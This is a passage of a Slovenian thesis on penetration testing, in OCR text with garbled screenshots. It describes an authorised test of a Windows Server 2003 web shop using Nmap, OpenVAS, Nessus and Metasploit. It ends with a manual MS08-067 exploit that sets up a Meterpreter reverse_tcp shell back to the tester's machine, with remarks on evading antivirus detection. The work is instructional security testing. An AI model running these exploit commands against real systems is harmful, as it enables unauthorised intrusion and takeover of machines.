testnem streZniku. Z naro¢nikom smo se za zacetek dogovorili za izvedbo preizkusa z metodo
¢rne Skatle, se pravi za poizkus zunanjega vdora. Informacij o ciljnem sistemu torej nimamo,

posredovan nam je bil samo naslov IP spletnega streznika. Po vnosu naslova IP v spletni

brskalnik vidimo, da na strezniku tece spletna racunalniSka trgovina OpenCart.
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Slika 6: Spletna trgovina na podanem naslovu IP

Pri izvedbi penetracijskega preizkusa bomo uporabili operacijski sistem Linux, distribucijo
BackTrack verzijo 5, ki Ze vsebuje mnogo varnostnih in penetracijskih orodij kot na primer
Nmap, OpenVAS, Metasploit itd.

Z orodjem Nmap skeniramo ciljni racunalnik z ukazom nmap --top-ports 100 -sV -O
86.61.42.221. Kot rezultat dobimo spisek odprtih in zaprtih vrat, tip in verzijo streZniSkih
programov, ki posluSajo na teh vratih ter vrsto in verzijo operacijskega sistema. Na sistemu so
odprta vrata 135, 139, 443, 1025, 3306 in 8080. Spletni streZnik je Apache verzija 2.2.6,

operacijski sistem ciljnega racunalnika pa je z veliko verjetnostjo Microsoft Windows Server
2003.



root : nmap

Slika 7: Rezultat skeniranja s programom Nmap iz zunanjega omreZja

V nadaljevanju bomo ciljni ra¢unalnik pregledali s skenerjem ranljivosti OpenVAS, ki pa ga
moramo pred prvo uporabo Se konfigurirati. Najprej moramo dodati novega uporabnika tako,
da v meniju OpenVAS izberemo ukaz OpenVAS Adduser. Odpre se terminalsko okno, kamor

vnesemo uporabnisko ime in geslo za uporabnika, ki ga Zelimo dodati.

Slika 8: Dodajanje novega uporabnika v ogrodje OpenVAS

Potem je potrebno kreirati certifikat SSL, kar storimo z uporabo ukaza OpenVAS Mkcert.
Naslednji korak je sinhronizacija zbirke varnostnih testov NVT z uporabo ukaza OpenVAS
NVT Sync. S tem smo s spleta prenesli najnovejSe teste za odkrivanje ranljivosti. V
nadaljevanju poZenemo OpenVAS Scanner, kar prvic traja kar nekaj Casa, saj se v tem koraku
preverijo in naloZijo vsi novi varnostni testi NVT, ki smo jih prenesli v prejSnjem koraku.
Nato ponovno zgradimo bazo z ukazom openvasmd --rebuild, kar storimo vedno po

posodobitvi varnostnih testov NVT. Nadalje nastavimo komponento OpenVAS Manager
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tako, da naredimo certifikat za uporabnika z ukazom openvas-mkcert-client -n upravitelj -i, s

¢imer smo dodali uporabnika z imenom upravitelj.

|
File Edit

Slika 9: Dodajanje upraviteljav OpenVAS Manager

Dodamo Se uporabnika s pravicami administratorja, ki ga bomo uporabljali za izvedbo
varnostnih skeniranj. To storimo z ukazom openvasad -c 'add_user' -n administratorl -r

Admin, kjer smo uporabnika poimenovali administrator].
root : bash

istratorl -r Admin

Slika 10: Dodajanje administratorja v OpenVAS Administrator

Po koncani konfiguraciji komponent OpenVAS Manager in OpenVAS Administrator ju
pozenemo in potem ti dve storitvi teCeta v ozadju. OpenVAS Manager pozenemo z ukazom
openvasmd -p 9390 -a 127.0.0.1, OpenVAS Administrator pa z ukazom openvasad -a
127.0.0.1 -p 9393. PoZzenemo Se Greenbone Security Assistant z ukazom gsad --http-only --
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listen=127.0.0.1 -p 9392. Vse tri komponente uporabljamo na lokalnem racunalniku, zato
uporabljamo lokalni naslov IP 127.0.0.1 in privzeta vrata za posluSanje. S tem je
konfiguracija ogrodja OpenVAS koncana. Za izvedbo skeniranja bomo uporabili spletni
uporabniski vmesnik Greenbone Security Assistant, ki ga poZenemo z vnosom naslova
127.0.0.1:9392 v spletni brskalnik. Odpre se stran za prijavo, kamor vnesemo uporabniSko

ime in geslo administratorja, ki smo ga kreirali pred tem.

Assistant - Mozilla Firefox

adm|

Slika 11: Prijava v spletni vmesnik Greenbone Security Assistant

Po prijavi v program najprej kreiramo tar¢o za skeniranje, tako da jo poimenujemo in
vnesemo njen naslov IP.

Assistant - Mozilla Firefox

#‘ Greenbone Logged in as openvasadmin | Logout
42V Security Assistant ) T (S
Navigation New Target @
[ tame wnzo0s |
o Tasks
© New Task Hosts
o Overrides e maT
© Performance
SSH Credential (optional
O Configuration optional) [
©Scan Configs SMB Credential (optional) -
o Targets Cre T
oCr — —
o Agents Targets @
o Escalators e B B S Y EEEE————
© Report Formats Localhost localhost 1 (]
- Slaves Wn 2003 86.61.42221 1  default =
O Administration
o Users
o NVT Feed
o Settings
GHelp

o Contents

© About

Greenbone Security Assistant (GSA) Copyright 2009-2011 by Greenbone Networks GmbH, wwwi.greenbone. net

Slika 12: Kreiranje tarce za skeniranje v spletnem vmesniku Greenbone Security Assistant
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Potem ustvarimo novo opravilo, kjer izberemo naSo tarco in nacin skeniranja. Privzeto

OpenVas ponuja Stiri nacine za skeniranje:

® Full and fast. uporabi vecino varnostnih testov NVT in optimizira skeniranje na
podlagi predhodno zbranih informacij.

e Full and fast ultimate: uporabi vecino varnostnih testov NVT vkljucno s tistimi, ki
lahko povzrocijo nedelovanje storitev. Skeniranje optimizira na podlagi predhodno
zbranih informacij.

e Full and very deep: uporabi vecino varnostnih testov NVT. Ne zaupa predhodno
zbranim informacijam, zato je poCasen.

e Full and very deep ultimate: uporabi ve€ino varnostnih testov NVT vkljuc¢no s tistimi,
ki lahko povzrocijo nedelovanje storitev. Ne zaupa predhodno zbranim informacijam,

zato je pocasen.

Assistant - Mozilla Firefox

#‘ Greepbom? Logged in as openvasadmin | Logout
2" Security Assistant

Navigation

O Scan Management

Sun Jan 13 21:54:28 2013 (UTC)

Name

o Tasks

o New Task Comment (optional)

o Notes Scan Config ) -
o Overrides
Scan Targets

o Performance

O Configuration Escalator (optional) -

cScan Configs Schedule (optional) '
Targets

2 Slave (opticnal) '

o Credentials

o Agents
o Escalators

o Schedules

o Report Formats
o Slaves
O Administration
oUsers
o NVT Feed
o Settings
O Help
o Contents
o About

Greenbeone Security Assistant (GSA) Copyright 2009-2011 by Greenbone Networks GmbH, viviw.greenbone. net

'3 -% -qi)) 10:54 pm

Slika 13: Ustvarjanje novega opravila v spletnem vmesniku Greenbone Security Assistant

Nato sprozimo skeniranje naSe tarc¢e in na koncu testiranja pregledamo porocilo. V porocilu
so odkrite moZne ranljivosti razporejene v tri stopnje: ranljivosti z visoko, srednjo in nizko

prioriteto. Za vsako moZno ranljivost so navedene tehni¢ne podrobnosti, kot so mesto in opis
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napake v sistemu, vpliv na sistem v primeru uspeSnega izkoriS¢enja ranljivosti, predlog za

odpravo ranljivosti in reference na zunanje vire z opisom ranljivosti.

Assistant - Mozilla Firefox

Port summary for host "86.61.42.221"

generalftcp High
http-alt (3080/tcp) High
https (443/tcp) High

Security Issues reported for 86.61.42.221

High (CVSS: 8.5) general/tcp
NVT: phpMyAdmin 'server databases.php' Remote Command Execution Vulnerability (OID:

1.3.6.1.4.1.25623.1.0.900130)

Overview : phpMyAdmin is prone to Remote Command Execution wulnerability.
Vulnerability Insight :
This issue is caused by, sort_by parameter in server_databases.php
which is not properly sanitised before being used.
Impact : Successful exploitation allows execution of arbitrary
commands, and possibly compromise the affected application.
Impact Level : Application
Affected Softwares0s :
phpMyAdnin versions prior to 2.11.9.1 on all platform

Fix : Upgrade to phpMyAdmin 2,11.9.1 or newer

http: //www. phpnyadmin.net/home_page/downloads php#2.11.9.1

References :
http://comments.gmane.org/gmane. comp.security . 0ss.general/9477set_lines=100000
http://fd. the-wildcat.de/pma_e36a091qll.php

http: //www.phpmyadmin.net/home_page/security.php?issue=PMASA-2008-7

http: //www, securityfocus.com/bid/31188/exploit

CVE : CVE-2008-4096

BID : 31188

High (CVSS: 8.5) generalftcp
NVT: phpMyAdmin 'server databases.php' Remote Command Execution Vulnerability (OID:

1.3.6.1.4.1.25623.1.0.900130)

Overview : phpMyAdmin is prone to Remote Command Execution wulnerability.
Vulnerability Insight :
This issue is caused by, sort_by parameter in server_databases.php
which is not properly sanitised before being used.
Impact : Successful exploitation allows execution of arbitrary
comnands, and possibly compromise the affected application,
Impact Level : Application
Affected Software/0S :
phpMyAdmin versions prior to 2.11.9.1 on all platform

X m% 4‘,)) 10:56 pm
Slika 14: Izgled porocila skeniranja v spletnem vmesniku Greenbone Security Assistant

Porocilo lahko izvozimo v razli¢nih formatih, v naSem primeru pa smo se odlocili za format

NBE, ker bomo to porocilo uporabili v naslednjem koraku penetracijskega preizkusa.

Za izkoriSCanje odkritih potencialnih ranljivosti uporabimo ogrodje Metasploit, ki ga
pozenemo kot vmesnik v ukazni vrstici msfconsole. V. MSF lahko rofno pois¢emo in
izberemo najbolj primerno izkoriS¢evalsko kodo ter breme za moZno ranljivost, ki smo jo
odkrili v prejSnjem koraku pri izvedbi skeniranja ranljivosti z ogrodjem OpenVAS. V nasem
primeru pa bomo uporabili funkcijo autopwn, ki bo avtomatsko preverila vse mozne odkrite
ranljivosti skupaj z zbirko izkoriS¢evalskih kod. V primeru ujemanja se bo izkoriS¢evalska
koda izvedla in ¢e bo uspesna, se bo odprla komunikacijska seja med nasim racunalnikom in

napadenim sistemom. V tem primeru bomo torej uspes$no vdrli v sistem.

Najprej v Metasploit uvozimo porocilo varnostnega skeniranja z ogrodjem OpenVAS. To

storimo z ukazom db_import ./ime_porocila.nbe.
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root @ .rubybin

~+ —+ ~+ —~+ ~+ ~+ ~+ ~+ ~+ ~+ —+ —+

Slika 15: Uvoz porocila iz skenerja ranljivosti OpenVAS v ogrodje Metasploit

Nato pozenemo funkcijo autopwn z ukazom db_autopwn -x -t -e. S parametrom -X povemo,
naj funkcija izbere izkoriSCevalsko kodo glede na ujemanje z moZnimi ranljivostmi iz
uvozenega porocCila. Parameter -t prikaze primerno izkoriScevalsko kodo in parameter -e to

kodo izvede.

y in a branch.

B
a : Qx & root - Dolphin ole j X -fq- -ﬁ)) 11:00 pm

Slika 16: Napad na ciljni sistem iz zunanjega omreZja z ogrodjem Metasploit in funkcijo

autopwn
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Po izvrSitvi funkcije vidimo, da je bila primerna ena izkoriS¢evalska koda, ki se je izvedla na
vratith 8080 in 443. Koda se ni izvedla uspes$no, tako da zunanji napad ni uspel in nismo

pridobili dostopa do napadenega sistema.

Po dogovoru z naro¢nikom bomo izvedli Se preizkus z metodo bele Skatle, torej poizkus vdora
iz notranjega omreZja. Lokalni naslov IP spletnega streZnika je v tem primeru /92.168.1.101.
Po skeniranju s programom Nmap vidimo, da so na ciljnem rac¢unalniku odprta dodatna vrata
445.

E root: nmap
File Edit

root : nmap

Slika 17: Rezultat skeniranja s programom Nmap iz notranjega omreZja

V primeru penetracijskega preizkusa notranjega omrezja bomo uporabili skener ranljivosti
Nessus. Namestili in pognali ga bomo iz operacijskega sistema Windows, ki je nameS¢en na

racunalniku, ki se nahaja v notranjem omreZju.

Po namestitvi je potrebno program registrirati in kreirati novega uporabnika. Po koncani
registraciji se s spleta naloZijo Se najnovejSi varnostni testi. Prepricamo se, da je zagnan
Nessus streznik kot proces z imenom nessusd.exe, nato pa pozenemo Nessus odjemalec z
vnosom lokalnega naslova IP in privzetih vrat 8834 v spletni brskalnik. Odpre se prijavno

okno, kamor vnesemo podatke uporabnika, ki smo ga kreirali ob registraciji programa.
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(1= =1 oo i
« C | B hipt//localhost:8834 v =

Nessus’ )

gl [/ AR - (N

Log In

Slika 18: Prijava v spletni uporabniski vmesnik Nessus

Po prijavi v program nastavimo politiko skeniranja. V zavihku z imenom General politiko
najprej poimenujemo. Izberemo lahko izvajanje varnih testov, ki ne bodo zaustavili delovanja
storitev na naSi tarCi. Definirati je moZno to¢no doloCena vrata in tehniko skeniranja ter
parametre, ki vplivajo na hitrost skeniranja. Ce imamo na voljo uporabniike podatke za

prijavo na naSo tarco, jih lahko vnesemo pod zavihkom z imenom Credentials.

s =3 e
- C | B hwps//localhost:8834 w2 =

admin I Help I About |1.;ng

Policies eports.

Add Policy Banka Network Congestion

[0 windows 2003 standard Reduce Parallel Connections on Congestion [l

Use Kemel Congestion Detection (Linux Only) [l
General AULTE LT Private -

¥ Description - Port Scanners
Cindania TcP scan @ SNMP Scan Ping Host (%

Plugins UDP Scan Netstat SSH Scan ¥

~ Scan SYN scan Netstat WMI Scan %

Allow Post-Scan Report Editing
- Port Scan Options

/]
/]
Port Scan Range [2EU1
/]
w
]

Safe Checks

Silent Dependencies

Log Scan Detalls to Server Performance

Stop Host Scan on Disconnect Max Checks Per Host

Avold Sequential Scans [l Max Hosts Per Scan
Consider Unscanned Ports as Closed [l

Network Receive Timeout (seconds)

Designate Hosts by their DNS Name [l

Max Simultaneous TCP Sessions Per Host [lILICH]

Max Simultaneous TCP Sessions Per Scan [TlIuIiCH]

Slika 19: Nastavitev politike skeniranja v programu Nessus
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Pod zavihkom z imenom Plugins izberemo dodatke oziroma varnostne teste, ki jih bomo
uporabili za skeniranje S tem politiko priredimo glede na operacijski sistem in instalirano
programsko opremo tarce; na primer za skeniranje operacijskega sistema Windows in
streznika Windows ali za skeniranje operacijskega sistema Linux na katerem teCe streZnik

Apache.

Ko kon¢amo s kreiranjem politike, izberemo tar€o za skeniranje. Tar¢o poimenujemo,

dodamo njen naslov IP in izberemo politiko skeniranja, ki smo jo kreirali pred tem.

[/ s = e
€ = C | & btrs//localhost:8834 v =

|2 5" windows 2003 standard -

SR TN 192.168.1.101]

Targets File

cel Launch Scan

Slika 20: Izbira tarce za skeniranje v programu Nessus

Sprozimo skeniranje tar¢e. Po kon¢anem skeniranju pregledamo porocilo. MoZne ranljivosti
so razporejene v ve€ stopenj: kritine ranljivosti, ranljivosti z visoko, srednjo in nizko
prioriteto. Vsaka ranljivost je podrobno opisana skupaj z na¢inom moZnega izkoriScenja.

Naveden je predlog za odpravo ranljivosti in povezava na zunanje vire z opisom ranljivosti.



' [ Nessus
€« C' | [ huwprs//localhost:3834 2 =

admin | Help | About |].-)qm
Reports
Windows 2003 scan  Vulnerability Summary | Host Summary Download Report
Completed: Oct 31, 2012 16:16 Remove Vulnerability | Audit Trail

| Filters  NoFiers @ Add Fliter [ ] Clear Filters

Pugnid s o] sy Fany
m‘ 2 Critical ‘Apache 2.2 < 2.2.15 Multiple Vulnerabilities. Web Servers
2

Critical Apache 2.2 <2213 APR apr_palloc Heap Overflow Veb Servers

Critical PHP Unsupported Version Detection CGl abuses
Critical MS08-040: Vulnerability in Server Service Could Allow Remote Code Execution (921883) (uncredentialed chee  Windows
Critical MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (95864 Windows
Critical MS09-001: Microsoft Windows SMB Vulnerabiliies Remote Cade Execution (958687) (uncredentialed check) ~ Windows

[+

| High PHP < 5.2.6 Multiple Vulnerabilities CGl abuses
|- High PHP 5 < 5.2.7 Mutiple Vulnerabilties Gl abuses
| High PHP < 5.2.8 Multiple Vulnerabilities CGl abuses
|_ High PHP < 5.2.11 Muliple Vulnerabiities €6l abuses
|_ High Apache 2.2 < 2,214 Muliple Vuinerabiliies Web Servers
| High PHP 5.2 < 5.2.14 Multiple Vulnerabilites CGl abuses
|_ High PHP < 5.3.9 Muiple Vulnerabilties Gl abuses
| High PHP < 5.3.11 Multiple Vulnerabilities CGl abuses
|_ High PHP <5.3.12/5.4.2 CG Query String Code Execution Gl abuses

- High MS06-035: Vulnerability in Server Service Could Allow Remote Code Execution (817159) {uncredentialed chec  Windows

Slika 21: Pregled porocila skeniranja v programu Nessus

Za nas so zanimive predvsem mozne ranljivosti z oznako kritino, ki se nanaSajo na
manjkajoCe varnostne popravke podjetja Microsoft. Te ranljivosti so mnogokrat povezane
direktno z izkoriS€evalsko kodo v ogrodju Metasploit. V porocCilu najdemo ve¢ takih
ranljivosti, za katere je navedeno, da omogocajo oddaljeno izvedbo izkoriS¢evalske kode. Ena

izmed njih je tudi manjkajo¢ varnostni popravek MS08-067.

VQ MNessus L Y - - = M " - - EI@QI
& - @ [Xpwet//localhostss34 v =

admin | Help | About |].-)qwt

Reports

Windows 2003 scan  Vulnerability Summary | Host Summary Download Report
Completed: Oct 31, 2012 16:16 Remove Vulnerability | Audit Trail

| Filters NoFiters & Add Fliter { ] Clear Filters

Plugin ID: 34477 Port/ Service: cifs (445/tcp) Severity: | Critical X

Plugin Name: MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Co...

Synepsis: Arbitrary code can be executed on the remote host due to a flaw in the 'Server’ service.
Description
The remote host is vulnerable to a buffer overrun in the 'Server’ service that may allow an aftacker to execute arbitrary

«code on the remote host with the 'System’ privileges.

Saolution
Microsoft has released a set of patches for Windows 2000, XP, 2003, Vista and 2008 :

http:/ftechnet microsoft.comfen-us/security/bulletin/ms08-067
Risk Factor: Critical

STIG Severity: |

Slika 22: Manjkajo¢ varnostni popravek MS08-067

Porocilo lahko izvozimo v razli¢nih formatih, odlo¢imo pa se zopet za format NBE, ker bomo

porocilo uvozili v ogrodje Metasploit.
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Slika 23: Uvoz porocila iz programa Nessus v ogrodje Metasploit

Ponovno uporabimo avtomatsko funkcijo autopwn. Po izvrSitvi funkcije vidimo, da uvoZenim
ranljivostim ustrezajo trije sklopi zlonamerne kode, ki se izvedejo na vratih 80, 443 in 445.

Koda se je v enem primeru uspesno izvedla.

_rubyhin

1.101:14101

Slika 24: Napad na ciljni sistem iz notranjega omreZja z ogrodjem Metasploit in funkcijo

autopwn
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Po izvrSitvi izkoriS€evalske kode se je na ciljnem racunalniku izvedlo Se breme Meterpreter in
odprla se je komunikacijska seja s Stevilko 3. V nadaljevanju vstopimo v odprto sejo z
ukazom sessions -i 3 in z vnosom ukaza ps prikazemo vsa opravila, ki trenutno tecejo na

napadenem racunalniku. Imamo poln dostop do naSe tarCe preko napredne ukazne vrstice

Meterpreter.

Slika 25: Prikaz procesov, ki tecejo na napadenem racunalniku

Namesto uvoza poroc€ila z odkritimi ranljivostmi in uporabe avtomatske funkcije autopwn v
ogrodju Metasploit, lahko postopek izkoriS€anja ranljivosti izvedemo tudi ro¢no. V ogrodju
Metasploit pois¢emo primerno izkoris¢evalsko kodo z vnosom ukaza search ms08-067.
Najdemo kodo z imenom windows/smb/ms08_067_netapi. Kodo uporabimo z ukazom use
ime_kode. Primerna bremena, ki so na voljo za to izkoriS¢evalsko kodo, poiS€emo z vnosom

ukaza show payloads.



root : .rubybin

Name

Corruption

P Inline
P Inline

Slika 26: Iskanje primerne izkoriscevalske kode in bremena v ogrodju Metasploit

V naSem primeru Zelimo zagnati breme, ki nam bo omogocilo ukazno vrstico na ciljnem
sistemu. Na voljo imamo standardno ukazno vrstico shell in napredno ukazno vrstico
Meterpreter. Standardna ukazna vrstica na napadenem operacijskem sistemu vzpostavi nov
proces z imenom cmd.exe. To pomeni, da naSe pocetje lahko hitreje zazna protivirusni
program ali sistem za zaznavanje vdorov. Napredna ukazna vrstica Meterpreter se »naseli« v
spomin poljubnega procesa na napadenem racunalniku in tako ostane prikrita. Ker ima lahko
nasa tar¢a vklopljen poZarni zid, izberemo tako breme, da se bo tar¢a sama povezala nazaj na
na$ racunalnik. Tako breme je na primer windows/meterpreter/reverse_tcp. Breme zaZzenemo
z ukazom set payload ime_bremena. Z vnosom ukaza show options preverimo, katere
parametre moramo nastaviti, da bosta koda in breme delovala. Nastaviti moramo Se naslov IP
tarCe, kar storimo z ukazom set RHOST 192.168.1.101 ter naslov naSega racunalnika, kar
storimo z ukazom set LHOST 192.168.1.4. Vrata tarCe 445 so Ze nastavljena, prav tako vrata

na naSem racunalniku 4444, kamor se tar¢a poveZze nazaj.



root : rubybin
Edit. View Bookmarks Settings Help
‘b normal | ective jection). Bind TCP Stager
normal ge
normal
normal
cp normal 2 Ve 2 q
cinject/reve p normal ective jecti Stage No NX or Win?7)
cinject/revers normal aefle 2 Injectl Stag
ncinject/reverse_t po normal e ( ective Injecti
windows/vncinject/reverse_tcp_d normal WNC Server (Reflective Injectio

yes 3 service port
SMEFIPE BROWSER ye e pipe name to use (BROWSER

Payload options (windows/meterpreter/reverse_tcpl:

Name Current g Req ed Descriptior

EXITFUNC  thread ¥ Ex1titechnique: seh, thread, process, none
LHOST The listen address

LPORT 4444 The listen |

o1t targ

Name

Automatic Targeting

7_netapi) > set RHOST 192,168
1.101
7_netapi) = set LHOST 152.

E root : rubyhbin

File Edit View

Started reverse ha on 192

Automatically de g the tar

Fin int: | /s 20 = ang:Unknown

¥ g to English

192.168.1.101:1039) at 2013-02-08 18:24:05 +0100

PPID Arch  Session

4
0

0

AUTHORITY ™,
ALUTHORTTY S

[=N=]

\C: WINDOWSAsys tem32\winle
AWINDOWSAsystem323servic

AUTHORLT
AUTHORITYY
AUTHORITY
AUTHORITY\NETWOI
AUTHORTTY\LOCAL SER

AUTHORLT
AUTHORIT
AUTHORIT
AUTHORIT

coococoEloococoae o

o

AUTHORTTY L
ALUTHORITY™
AUTHORITY

coo

root : .ruby.bin

Slika 28: Napad na ciljni sistem iz notranjega omreZja z ogrodjem Metasploit in prikaz

procesa, na katerega se je prilepilo breme Meterpreter
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Nazadnje poZenemo Se izvedbo izkoriSCevalske kode in bremena z ukazom exploit. Kot
rezultat se odpre komunikacijska seja med naSim racunalnikom in tarco, tako kot v primeru
uporabe funkcije autopwn. Z ukazom getpid preverimo, na kateri proces na napadenem
raCunalniku se je prilepilo breme Meterpreter. Kot rezultat poizvedbe dobimo proces
svchost.exe z identifikacijsko Stevilko 1256. Postopek je prikazan na sliki 28.

Napad na ciljni sistem izveden iz notranjega omrezja nam je torej uspel in s tem, ko smo
odkrito ranljivost uspesno izkoristili, smo tudi potrdili njen obstoj. Na koncu penetracijskega
preizkusa naro¢niku podamo poroc€ilo o odkritih ranljivostih sistema, izpostavimo tiste, ki
smo jih uspesno izkoristili ter predlagamo ukrepe za odpravo teh ranljivosti. V naSem primeru

bi bilo potrebno sistem posodobiti z najnovejSimi varnostnimi popravki.
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7 SKLEPNE UGOTOVITVE

V diplomskem delu smo predstavili penetracijski preizkus in vlogo penetracijskega
preizkuSevalca pri zagotavljanju varnosti informacijskih sistemov. Pri tem smo jasno zacrtali
mejo med zakonitim preverjanjem varnosti informacijskega sistema in med nedovoljenim

vdorom vanj. Pojasnili smo zmedo pri enacenju penetracijskega preizkusa z oceno ranljivosti.

Ugotovili smo, da se je za uspeSen zakljuCek penetracijskega testa potrebno drzati ene izmed
uveljavljenih metodologij na tem podroc¢ju. Testiranje bi bilo potrebno izvajati veckrat letno,
saj zlonamerni hekerji stalno izboljSujejo izkoriScevalsko kodo in i$€ejo nove moZnosti za
vdor. Za preizkus doloCenega sistema je dobro uporabiti ve¢ penetracijskih preizkusevalcev,
oziroma naj naslednji preizkus sistema izvedejo drugi preizkusevalci. Vsak preizkusevalec
ima namre¢ drugacen pristop in znanje ter lahko odkrije ranljivosti, ki jih je njegov

»sodelavec« spregledal.

Pri uporabi orodij za penetracijske teste smo se odlocili za brezplacna orodja, ki so prosto
dostopna. Za skener ranljivosti smo uporabljali brezplacno odprtokodno orodje OpenVAS in
Se komercialni skener Nessus, ki pa je za domaco uporabo brezplacen. V obeh primerih gre za
kvalitetna produkta, menimo pa, da je za zacetno konfiguracijo orodja OpenVAS potrebno
veC znanja. Nessus je bolje dokumentiran in vsebuje vecjo koli¢ino varnostnih testov, kar
omogoca uporabniku vecjo fleksibilnost pri testiranju. Pri uporabi ogrodja Metasploit je izbira
primerne zlonamerne kode in njena roc¢na konfiguracija za zaCetnike lahko zapletena.
Marsikatera koda se ne izvede uspeSno zaradi nepopolne ali napacne konfiguracije, kar je
posledica pomanjkljivega znanja uporabnika. Smiselno bi bilo izboljsati funkcijo autopwn in

odpraviti njene trenutne omejitve.

Pri poizkusu vdora v sistem smo pri ronem testiranju izkoriS€anja moZnih ranljivosti
poizkusili dokazati eno izmed ranljivosti. Za prikaz postopka penetracijskega preizkusa to
zadoS€a. Dokazovanje vseh moznih ranljivosti bi zahtevalo veliko ve¢ Casa in znanja s
podro¢ja penetracijskega testiranja. Za izkoriS¢anje mozZnih ranljivosti smo uporabili Ze
obstojeCo izkoris¢evalsko kodo, ki jo ponuja samo orodje. Poklicni penetracijski

preizkusevalci pa bi izkoris¢evalsko kodo lahko napisali tudi sami.

NeuspeSen poizkus vdora v sistem Se ne pomeni, da je sistem dobro zaS¢iten. V vsak
informacijski sistem je mozno vdreti, ovira sta le ¢as in znanje, ki sta potrebna za izvedbo.
Zavedati se je potrebno, da bo v prihodnosti vdorov v informacijske sisteme vedno vec. Slabe
finan¢ne razmere in Zivljenjske stiske silijo ljudi v zlonamerna dejanja, kot so pridobitev

materialnih koristi ali denarja na lahek, ¢eprav nezakonit nacin.
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